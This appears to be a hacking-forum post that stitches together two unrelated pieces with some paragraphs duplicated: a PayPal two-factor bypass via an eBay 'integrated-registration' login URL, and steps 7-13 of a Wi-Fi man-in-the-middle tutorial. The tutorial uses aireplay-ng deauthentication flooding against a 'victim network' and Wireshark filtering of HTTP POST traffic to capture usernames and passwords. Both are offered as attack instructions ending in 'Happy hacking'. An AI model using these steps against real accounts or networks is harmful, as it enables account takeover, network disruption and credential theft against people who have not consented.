Paypal Complete 2-Factor Authentication(2FA) Bypass Exploit.

To make it clear: The Paypal account you were 'hacking' did NOT have to be affiliated with the eBay account you were using. In my original tests, I had made a new eBay account using a temporary email, and had gotten into my Paypal through the same method.

 

 

 Found By Joshau Rojers

 It works even without an eBay account, actually.

https://www.paypal.com/cgi-bin/webscr?cmd=_integrated-registration&key=0&stamp=1364194631&data=JGHnP2g2ybqbgKfR7%2B1loOlg24LvI/VppQIqFE8DyTO9hqc1x1pQw42CCLy3EdEogm85LYOTKtU2wYNfjFZvuHSx4PjAHLVtlv6sYdPl2FIBLN7BNr3l%2BPe0WPeDhopUWqhw0PYE9EAyZPkgIZWJgWKGGGNPqdQRjlbNGoCCIox7RLfKmtEDeH8KXEOzZDSmvETO%2B7fkoy06CLe9CkJhE0V8Mh9QN/wNYIF6WMFgHsze7RAS8Qe3j/U9I9zYXDPcfB2L5AVCYI53jcWUOxeKXSlcoV0eIcxkLOkLfmSqnaY9vywEQEhEU2PYoKSqefaZBPFh6Y7kWXVD/7id8PvkrJzKaCUq0nhBRfFGtf1kYrK0ZgX%2Byws4HmiTn4GEL/gaUPtpWviP4BCJmeGOhzQEhbFNYwzuzmOWAaqYfsa62DsAcq3LUy1DyAmBfsLhwzRyzZhKlg1NRz5MxTsuBqlh72W6ytc1gEMwh%2BJtBxZTf7EggIaTRLdpjXMlZmwRjkMH2BjX8P4968XicykzmLhTpqpg507flV%2Belq3QNBd9cAliSskS3n/%2Bd1os7FQBnogr4tZ7srcTkoPM5nezXqz3caE/loqoJnkWvlRYfNJpSSysjQ%2BThTgiwNtk4eh8X2r3LhepLD27KdM7I299%2BnWVF9veVjw625ZT%2B3MyQMiO7FbMJdng5baW%2BZIRFIear2GlEJVXMlftP3ibMJAmzGrnKqB0sPwY3augnaBNnz4u32QAaxg8zhvz5FEaELdpFxJ4ptLdRc2MFUBFkUDm%2B5tlpuNl9JzgKTDQnXzYxX/2KYAznivHTlsCcwH68kL6EqoiGGTsFoLzp8TqnLvizULu6tdfnTAhhxV6kCeRRoyN/a62wahvxDibJgTnTjp4d3/xm4nhkQhQ5/xUgtAN9T1aa7n5PinOWS84AOFR0TB3KpwHsQkoQCGXvzdYZh4wD8ECQzYS9lbpaCLm13GqPGK4xC6K2vat8/gt9uoiJbiy77SK2PcMhcRS3KbK9Z0HtDCl&ev=1.0&locale=en_US
 

On the 5th of June, 2014, I found a complete bypass for Paypal's 2FA service, in which anybody would be able to access a Paypal account that has 2FA setup, by only logging in through a "special" Paypal page.

 eBay, in conjunction with Paypal, provide a service as to where you can link your eBay account to your Paypal account, and when you sell something on eBay, the fees automatically come out of your Paypal account.

When setting this up, you're (obviously) asked for your Paypal login.

When you are redirected to the login page(above), the URL contains "=_integrated-registration". Doing a quick Google search for this shows that it isn't used for anything other than eBay; thus it is setup purely for Paypal&eBay.

Once you're actually logged in, a cookie is set with your details, and you're redirected to a page to confirm the details of the process. And this is where the exploit lays. Now just load http://www.paypal.com/ , and you are logged in, and don't need to re-enter your login.

So, the actual bug itself is that the "=_integrated-registration" function does not check for a 2FA code, despite logging you into Paypal.

You could repeat the process using the same "=_integrated-registration" page unlimited times. 

When you are redirected to the login page(above), the URL contains "=_integrated-registration". Doing a quick Google search for this shows that it isn't used for anything other than eBay; thus it is setup purely for Paypal&eBay.

Once you're actually logged in, a cookie is set with your details, and you're redirected to a page to confirm the details of the process. And this is where the exploit lays. Now just load http://www.paypal.com/ , and you are logged in, and don't need to re-enter your login.

So, the actual bug itself is that the "=_integrated-registration" function does not check for a 2FA code, despite logging you into Paypal.

You could repeat the process using the same "=_integrated-registration" page unlimited times. 

 I originally found this on the 5th of June, 2014, and reported it to Paypal the same day.

I have also uploaded a demonstration of it on YouTube.

It still works.


For Complete Tutorial Contact me on Facebook or Twitter
https://www.facebook.com/zxera
https://www.twitter.com/Yedens

For Educational Porpose only

Wifi Packet Capturing and Session Hijacking using Wireshark 2

Before you go to this section it is required you to read first tutorial
Wifi Packet Capturing and Session Hijacking using Wireshark 1

Step - 7 

Now Setting up New configurations by typing these commands. 
“ifconfig eth0 0.0.0.0 up”  
“ifconfig at0 0.0.0.0 up” 
   
Description -  
ifconfig stands for interface configurator. ifconfig command is used to configure network interfaces. ifconfig is widely used to initialize the network interface and to enable or disable the interfaces.  

Step -8

Now it’s turn on MITM Interface by typing this command 
“ifconfig mitm up”  

Description –  
ifconfig stands for interface configurator. ifconfig command is used to configure network interfaces. ifconfig is widely used to initialize the network interface and to enable or disable the interfaces. 
By Default Interface we created is down, we need to put it up.

Step – 9 

Now send the deauthentication packets to the router by typing this command
“aireplay-ng - - deauth 0 - a 94:44:52:DA:B4:28 mon0”   

Description –  
Aireplay-ng is used to inject frames.  
The primary function is to generate traffic for the later use in aircrack-ng for cracking the WEP and WPA-PSK keys. There are different attacks which can cause deauthentications for the purpose of capturing WPA handshake data, fake authentications, Interactive packet replay, hand- crafted ARP request injection and ARP-request reinjection. 
We use 0 for continuous Flooding of packets. We use 1 for Single Flooding of packet. 
-a represent bssid of the victim network. 94:44:52:DA:B4:28 here is a bssid of the victim network.

Step - 10

Now it’s time to assigning the IP to all victims by typing this command
“dhclient3 mitm&”   OR  “dhclient3 mitm &”  

Description –  
Dynamic Host Configuration Protocol (DHCP) is a network protocol that enables a server to automatically assign an IP address to a computer from a defined range of numbers (i.e., a scope) configured for a given network. 

Step – 11 

Now you can check the client connected on the 5th Terminal where you create Fake Access point.

Step – 12 

Start your Wireshark Packet Analyzer Tool by typing this command 
“wireshark&”   OR   “wireshark &  

Description –   
 Wireshark is an open source tool for profiling network traffic and analyzing packets. Such a tool is often referred to as a network analyzer, network protocol analyzer or sniffer.

Step – 13 

Now Select the Interface (at0) and click on START. 

Type “http contains POST” and you can see that all packets be in your sniffing tool


and you'll get user name and password :)
Happy hacking